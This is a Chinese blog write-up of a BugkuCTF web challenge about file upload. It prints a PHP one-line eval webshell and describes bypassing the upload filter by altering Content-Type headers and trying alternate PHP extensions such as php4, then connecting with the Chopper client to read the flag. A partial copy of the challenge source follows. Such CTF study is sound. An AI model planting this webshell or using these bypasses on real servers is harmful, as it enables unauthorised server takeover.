BugkuCTF-WEB题文件上传

本文详细介绍了在BugkuCTF中如何通过文件上传漏洞上传PHP文件,利用Content-Type和文件后缀名的技巧绕过过滤机制。成功上传后,通过菜刀连接到服务器获取flag,最后反思并分析了源码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

启动场景
发现是文件上传
在这里插入图片描述
只能上传图像,不能上传PHP文件,那应该是寻找漏洞上传PHP文件
PHP文件里写入一句话木马

<?php @eval($_POST[caidao]);?>

使用burp抓包,不断尝试发现发现需要修改的地方有三个:
一个是http head里的Content-Type: multipart/form-data;
请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data (其t为大写)
Multipart里的部分字母改成大写的。

第二个是文件的的Content-Type: application/octet-stream,改成image/jpeg

第三个是文件后缀名改成php4
(依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写))分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php4没有被过滤
在这里插入图片描述
之后上传成功
在这里插入图片描述
关闭代理,浏览器显示文件路径
在这里插入图片描述
以菜刀连接:
在这里插入图片描述
在这里插入图片描述
进入服务器后台,在根目录发现flag
在这里插入图片描述
打开flag
得到flag

后来有大佬教了我做事,说都上了马了自己不会扒来看嘛,哇我真的是蠢,这都没想到,直接血的教训记了下来,并扒了源码分析:
参考源码.php文件

<html>
<body>
<?php 
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" /> 
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){
   
   
 $type =  $_SERVER["CONTENT_TYPE"];//$_SERVER是一个服务器端的变量数组,提供许多关于服务器及客户端请求的变量值,像客户端浏览器类型、IP地址等
 if (strpos($type,"multipart/form-data") !== False){
   
   //strpos() 函数查找字符串在另一字符串里第一次出现的位置。strpos() 函数对大小写敏感。
  $file_ext =  substr($_FILES[
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值